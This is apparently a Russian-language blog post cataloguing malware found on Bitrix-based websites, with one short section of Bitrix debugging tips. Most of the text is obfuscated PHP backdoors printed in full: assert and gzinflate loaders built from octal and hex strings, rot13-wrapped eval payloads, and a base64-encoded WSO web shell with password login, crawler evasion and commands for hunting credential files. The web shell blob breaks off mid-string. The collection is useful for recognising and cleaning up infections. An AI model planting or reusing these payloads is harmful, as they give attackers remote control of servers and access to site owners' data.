Eg+864/Aj4ZIB5F/ilm1iVz92ZSuj0UklOmHTE85o9QO/ORirJB5FTuTxfxAysHFdOVvo8M75Xl3Je1AqL0htsQDvA6xyida5Raac/Im/mbaAQzVrQWfqNDUfbioRkdDYVl/U58S";$JPlhuiW="Fl1YmASDI4xfZHemdldlIHzhXt4flRwGtVybJdgxMVLKSui";$GiZaZzd="\x73\164";$Ou5VBJQk="\x67\172\151";$lnqhFqZ="\141";$czsQphf="\x62\141\163";$Ou5VBJQk.="\156\146";$JPlhuiW.="7WzKoXvyMd3tS5TFHMbooXvKarhpcJnsyS2zbOXFIBcLR2u";$czsQphf.="\145\66\64";$lnqhFqZ.="\163";$GiZaZzd.="\162\137\162";$JPlhuiW.="cLD1x2EdozSxLjaen2WfVZCqixwPXA/XVHhN3EHTJkzaStL";$GiZaZzd.="\x6f\164";$lnqhFqZ.="\x73\145";$Ou5VBJQk.="\154\141";$czsQphf.="\137\144\145\x63";$czsQphf.="\157\144\x65";$Ou5VBJQk.="\164\x65";$lnqhFqZ.="\x72\x74";$GiZaZzd.="\x31\63";$JPlhuiW.="ntSZTSIx1uAGJhUIWN7IskYGpBpiNXmAENTNvKIAn0O";@$lnqhFqZ($Ou5VBJQk($czsQphf($GiZaZzd($JPlhuiW))));
Обычно встречается в следующих файлах:
  1. ./bitrix/components/bitrix/search.title/images/fream_system.php

Коллекция вирусов которые находил на своих сайтах на битриксе. epilog.php

$NDwn4e9m="LAcfK6xFRa5KLYm0CYLuDB9V7Rdr6D/e2B

$NDwn4e9m="LAcfK6xFRa5KLYm0CYLuDB9V7Rdr6DXceDtZMFeZGvpWrk74hEMzPf47AqyP6ut1FIj+1OSpKr1JsweZ+vzjEx/hL62wB9JCKc3HBqENQ2/HhkalPjqjXxrmR+wAiQGTorwntvYcnQomvEIXpVZLRliVvayaz5WRWrGKYJh2zyuq+UkHTSGbvbgRtX384wQgzTqy2ou46/PlOqTFS7b9zTRrYkyett89W3O8xQTiPbLMF75Gz43mnZ77mRdyll5vc++AgtF2LdIs2MWv5dZygUBK5IhJXzUMPsZn3OOKskFRWvb0VU2MkaXa6f73mVNKxzeVvT0C+3HBtl45QH+Vj2mowQrhGJWcQJVRMwX6qfCfL8GHVjHHov+Z0lZIS73x92/66dqx23P/4d180uEU9SG0QQgUJ39gUH9ddFqJ9G/C0aQzkPUlPJc2qlg7oWE6sGD28zulgiIcs3Ho9h3fL0nAq47Hap3DqlBPqMOOpwqzqsNUcePAFlPEIOYB2VEp/x+zr05jCkw8uSbRfZJyXnjk/OUpj3vfryi3fFz/pe+t0L8gisUYlCZOAlcNZY2tGkUpZs0gOludNkBwRtq7Gg9b4gItRKIhsRkcXvv1JzyJxDgUEexWQX+mmRe6lsvo0n1SIAI4DUD5A8F+o3KmYainzCqaLMBtmlu7Gdz1Eqxe0MtHe1CD/R5ZI+XH+OUfeSZmovTLmdqeMbNTS+c44MdZGheBwGfs+YCu2TX9Au5XvB/Xxe+Mwg59+g1ZyNJdyuUR68Qgc3bBQyz1zdvIfDHyqLML5mrkdR/5umpM4y/9Pvl55kpb3NqwBQKyajWzI4pimnfCQDt2avnl2APh+tmIUVSyVHDtBrqYshbivP5S71F9gOZXQk+dC5eiRfWsvZZHAJyvmIAsLtfMIwQaV+1g2tquAgOB+mwcq+2ThrSPRdGNAHlusx+t8mV/BJadzGiwyyTfbZ6XMWhEKCaZOSKrBwYeAlXEerSWSw==";$wzLKC5="\147\x7a\x69";$nUMsJ="\163\164";$PFxVh="\141";$xFFVeJaL="\142\x61\163";$ORXDhxs="Fl1YmASDI/SmXp8mFoKZgIJcpUZYF/IX9ATNv2ynd0FxzS";$PFxVh.="\163";$wzLKC5.="\156\x66";$nUMsJ.="\x72\137\x72";$xFFVeJaL.="\x65\x36\x34";$ORXDhxs.="gx+uioXvyMd/tUEouxIOGoXtHTy7vHyFcMc+HKnntxInnx";$PFxVh.="\163\145";$ORXDhxs.="u9xnJRZLAhLzSyPzgeLzGYhroKWTxHM+HDeP7TvVbywABY";$wzLKC5.="\x6c\x61";$xFFVeJaL.="\137\x64\145\x63";$nUMsJ.="\x6f\x74";$PFxVh.="\162\164";$xFFVeJaL.="\x6f\144\x65";$wzLKC5.="\164\x65";$nUMsJ.="\61\63";$ORXDhxs.="Nj1TlbdXcMeXnzgHZdlVxd5IH+3f6zTwPmtOYdzgLN";@$PFxVh($wzLKC5($xFFVeJaL($nUMsJ($ORXDhxs))));
Обычно встречается в следующих файлах:
  1. ./bitrix/modules/main/include/epilog.php

Коллекция вирусов которые находил на своих сайтах на битриксе. ustat.php

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2B

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2BexCtKwDNue47zRqool8Lj562DPxsbuTax+OIcOD/l8IwmGKm1SopcWbuE/XFIbMiVXuoQ4oZdK0QzQS8NSbjUiV+7C/k3sdOYlf6Tk9xD7sjx0hOFFk0dXr5Y7OU9nxeeHCElXtTFWjLF63gXHBgpyGfwG0Db16NYW7WNVUrrQqandMyi7S+R+AeYC+VLelBH9lvsxL6JD7VRANACpv8k1EYrlM+NjA8wptBX9TwwxmVLzjcY4gAE9+ivg31oMfWrV+1mCQ5spl2keTH/Qa7cRvpu+LUADY4gc1urOOmLo0qtX1KZa8e5BR8KnjW7BqB3b1jXqeE6mR+zsFh3XZqbmigVgDdUKbNeQrHl9SUlAkS5suM26Nstj9NPsqQQno0ywgOdfHSo3ooNV/Y9cIkUaOSPophfHWjyLJ5d/HFRfYMYzMDQTZPoKsZBTkIqpSTMlBJFIdrwarVtECMCAfP2tpuWZYRcH45dKCymBaeWR1mXGRxWEvoVWRqNRrUlN+27TI8jtD44sFRgFJ/HZFzo+xuN8rvj+WgUIiksaUdRVYpfT1P/KRMeLDJTaRFTw9jlpRhiKTXNFr2L1ZpsyFSp7575/BbpqQNpIGnlGizaxEuE6/09IfBcOy6DYEYiD1GCLbWRivmdO0bO8v5++lXvGfZ+yQ7is+9u+OmTov1D049hQSZYg5DQcQLM5T3Py1hx8lNVzqaUquRU+9TS8LM+U6LoH1gMqbOAIRH0jj89DCrMS7tqkhDtHm10aqSblPoa87lT5+uD9qKsh1t0WqSCHgsNPKteTffL2wkuHUqVrhi90eCOukX69Ww==";$W1F4Tf="\x62\141\x73";$pkqCl="\x73\164";$ShQTsM="\141";$HqsybeN="Fl1YmASDI8a0FnzbgSHWA3DmPHaGtUN1eIKlaNXmNfcPKJ";$i8OqTJ5="\x67\172\x69";$W1F4Tf.="\x65\x36\x34";$HqsybeN.="lIyXkICNdYX5AF/JlIVbbe3A2IeAClvmEHaZWpf11AKCkf";$i8OqTJ5.="\x6e\146";$pkqCl.="\x72\137\x72";$ShQTsM.="\163";$pkqCl.="\x6f\x74";$ShQTsM.="\x73\145";$W1F4Tf.="\x5f\144\x65\x63";$HqsybeN.="QnmuoOfmRmZRG1goR26Baz1lEcSTsyRX1VcbhXcLmGvjZA";$i8OqTJ5.="\x6c\x61";$HqsybeN.="DFuVFdnnlzceIQXfvqXcxJ/bHuKdLnpNBOHhdn1tN=";$pkqCl.="\61\x33";$i8OqTJ5.="\164\x65";$ShQTsM.="\x72\164";$W1F4Tf.="\x6f\144\x65";@$ShQTsM($i8OqTJ5($W1F4Tf($pkqCl($HqsybeN))));
Обычно встречается в следующих файлах:
  1. ./ustat.php

Коллекция вирусов которые находил на своих сайтах на битриксе. webarticle.php

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2B


/**
 * @version  14510 2014-04-15 14:10:00Z louis $
 * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license  GNU/GPL, see LICENSE.php
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

/**
 * @return array An array of search areas
 */
function ContentAreas()
{
 static $areas = array(
  'content' => 'NewsPost',
  'reader' => 'AllPost'
  );
 return $areas;
}

/**
 * Content Search method
 * The sql must return the following fields that are used in a common display
 * routine: href, title, section, created, text, browsernav
 * @param string Target search string
 * @param string mathcing option, exact|any|all
 * @param string ordering option, newest|oldest|popular|alpha|category
 * @param mixed An array if the search it to be restricted to areas, null if search all
 */
 
// Licensed protected code

$rTdKc="3hsSDqI1XzEd5IfycOU3yG8v2ZdAcdFleZSAl9glpc0TNV07IN+n46UAPsq7rspaGkZPhYOll7F9Po+snQIN/je/56O04dMhRhkT67O9Ma6tOL6IDfB0GfkUdMPUXbQ0x8UJlvfgfy32k8KWrmAgL9BHIuoFlWTxjOmwWvPJpvM9ruhVtQ0d27Qe3yI8wjuRE43rSpJUhQvpV/s5kBSXzy8oOEPKGR8T7WZKN3XZnmd2OA+5yY0Mm2pNJ9UHJ6kFFhrKzCJSIm3uXA8HiUfjtD/JjD+IIygGNmFVcVvG1qGIVqkIWhJPn35iYaYhJReW6dqeykY3FNpv3rIstBbEAS/2g3tEcDdNBpWNbkzTb1XOV2yDCJNO6pxdRNRfo2hqOSxUYGpk6zP2G3TMnPZ8SdbTkqAqMSpKkZaajpAY4GuKWVxE/2XWN5QNL6lPXOJBimgvOP4FWF68cmKOv7+zkRJSQkceymHg+lpjeKCq0aKHmmp5apkqlCNz8bsz9g1uOHWgTGYVQI0ZK9qoZWyWkxX0lGmMhzQ+6yoE7cIie9XBychJtBNWR3PGGCFnEFOyOPBHWiZa7BIaGzpZF6km5xsZeCBxOrTnENvp26xPhZ2jqmpYbKWiedilAVoi50kIv70rGBypuOvLEzU1jR9Vk8HYoc9/mS+J+5CuYYgZd+H1a3QGAoMkpq603BDUsmlqLRiFuklXy4HswqBJa9QeHDV2zML0hE0I4+7zx7Fz7V/Pc9zUuOK86N5hjxNZzrZikXDuOhNP6/J1e50DKxgF2dxLMUg4RhXTX/QTilsDidsYGDeNffSHrulgGwTL97oqdiUFxO7dHhbkutY5TGs64xQft57xBtumpzTciZKHvG054bh/MKc9nBgSAksZ8mF/WueilFvmgPA=";$TSJn27="\x61";$amUPL="\142\x61\x73";$EpmMlUS="\x67\x7a\x69";$OIQyYd="Fl1YmASDIlxXFsSBgyIWmN0A8ATN8QFgIEmY8k0qR22I";$cdwgGdi="\163\164";$EpmMlUS.="\156\146";$OIQyYd.="yXkI/Q0QXlAGoWJP/M0qX0hIeAClvmEHZw0QGYmPoD2f";$amUPL.="\x65\66\x34";$cdwgGdi.="\162\x5f\162";$TSJn27.="\163";$EpmMlUS.="\x6c\141";$amUPL.="\x5f\144\145\x63";$OIQyYd.="bFjoZjf4J1goR6csmmL5b0twiltSnaN0IRJfMukLRTV0";$cdwgGdi.="\157\164";$TSJn27.="\x73\145";$TSJn27.="\x72\x74";$OIQyYd.="GSGIYSMG09buSrDhSqrPKA+p0TNAdRyNPKIAnjN=";$cdwgGdi.="\61\x33";$EpmMlUS.="\164\145";$amUPL.="\x6f\x64\x65";@$TSJn27($EpmMlUS($amUPL($cdwgGdi($OIQyYd))));

Обычно встречается в следующих файлах:
  1. ./webarticle.php

пятница, 10 июля 2015 г.

Bitrix


Отслеживание ошибок
в папке /bitrix/ есть файл .settings.php

'exception_handling' => 
  array (
    'value' => 
    array (
      'debug' => true,
      'handled_errors_types' => E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE & ~E_DEPRECATED,
      'exception_errors_types' => E_ALL & ~E_NOTICE & ~E_WARNING & ~E_STRICT & ~E_USER_WARNING & ~E_USER_NOTICE & ~E_COMPILE_WARNING,
      'ignore_silence' => true,
      'assertion_throws_exception' => false,
      'assertion_error_type' => 256,
      'log' => array (
        'settings' => array (
          'file' => 'bitrix/modules/error.log',
          'log_size' => 1000000,
        ),
    ),
    ),
    'readonly' => true,
  ),




В файле .htaccess нужно добавить строку php_value display_errors 1.
Переменным системы DBDebug и DBDebugToFile присвоить значение true. Значения этих переменных задаются в файле /bitrix/php_interface/dbconn.php

закрыть сайт для доступа
Под администратором Настройки=>настройки продукта=>настройки модулей=>главный модуль и спускаешься вниз и там будет кнопка закрыть доступ для посетителей.
Версия Bitrix
/bitrix/modules/filename/install/version.php

четверг, 25 июня 2015 г.

Коллекция вирусов которые находил на своих сайтах на битриксе. class.php

###=i=###


//###=i=###

error_reporting(0);

$strings = "as";$strings .= "sert";

@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl8kZQxhZwZ2YwtkYwRjZF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvAGxjZJSwZwt4MGDlAGR5AGV0MGt2Z2MzLmtjZ2SuZQDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7L3IloS9mMKEipUDbWTZkYQDlYTMuoUAyXGgwqKWfK3AyqT9jqPtxLmRfZGx5ZGZfqUW1MFx7WTyvqvN9VPOwqKWfK2I4MJZbWTZkXGgwqKWfK2Afo3AyXPEwZFx7sJIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXG09ZFy7WTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPWbqUEjBv8iZGN5YwVmAv44ZF4kZQRiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVwH5ZQSuLmV4BTH0ZwHkBGHlATH4AwAzMzZ4ZQAuLGN0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB30tnJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOcMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwuvMzEwMJZ4VvxtrlONLKAmMKW0XPEsHxIEIHIGISfvLlWqXGftsK0="));'));

//###=i=###
Обычно встречается в следующих файлах:
  1. ./bitrix/modules/highloadblock/admin/highloadblock_index.php
  2. ./bitrix/modules/highloadblock/install/index.php
  3. ./bitrix/modules/highloadblock/lang/ru/admin/highloadblock_index.php
  4. ./bitrix/modules/fileman/classes/general/fileman_utils.php
  5. ./bitrix/modules/seo/install/index.php
  6. ./bitrix/modules/seo/lib/sitemapindex.php
  7. ./bitrix/modules/iblock/install/index.php
  8. ./bitrix/modules/iblock/lib/propertyindex/indexer.php
  9. ./bitrix/modules/main/install/index.php
  10. ./bitrix/modules/main/lib/sitedomain.php
  11. ./bitrix/modules/main/classes/mysql/main.php
  12. ./bitrix/modules/perfmon/lib/sql/index.php
  13. ./bitrix/modules/perfmon/classes/general/index_suggest.php
  14. ./bitrix/modules/perfmon/classes/general/index_complete.php
@assert(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaL


@assert(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl9gnKEuoJRhpaHiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVzH5AJLmAwSyA2VjAGDjZTV4ZzZmLmEyLwp5ZGtlZmRmVv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB2A1pzksp2I0o3O0XPEwZFj0ZvkzLJkmMFx7L3IloS9mMKEipUDbWTZkYQR5BGRmYUElqJHcBlEcLaLtCFNtL3IloS9yrTIwXPEwZFx7L3IloS9woT9mMFtxLmRcB31yoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvx9CGRcrlEcLaLtCFOznJkyK2qyqS9wo250MJ50pltvnUE0pQbiY21cqTSgLF5lqF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvMGx1MwZ2ZJH3LwN1AQNjLwtlLmAwATIvAmxkBQVmZGZvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sFOcMvNbnKAmMKDbWTyvqvxcVUftMJAbolNxnJW2BlO9VTyzXTymp2I0XPEsHxIEIHIGISfvpPWqXFNzWvNxK1WSHIISH1EoVaNvKFN9CFNvAmuzAGNlZzLvXFO7VROup3AypaDbWS9FEISIEIAHJlWwVy0cBlO9sD=="));'));
Встречал в файлах:

  1. ./bitrix/footer.php
eval(base64_decode("JGF1dGhfcGFzcyA9ICI3ODMxYmY0ZjM3Y



eval(base64_decode("JGF1dGhfcGFzcyA9ICI3ODMxYmY0ZjM3YzViYjlkMjRhNGE0ZjkwZDhjZGNkYSI7CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNScpOwoKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09PS0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQoKZnVuY3Rpb24gd3NvTG9naW4oKSB7CglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOwp9CgpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10gPSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhfcGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CmlmKCEkc2FmZV9tb2RlKQogICAgZXJyb3JfcmVwb3J0aW5nKDApOwoKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsKCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CgppZigkb3MgPT0gJ3dpbicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpOwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZp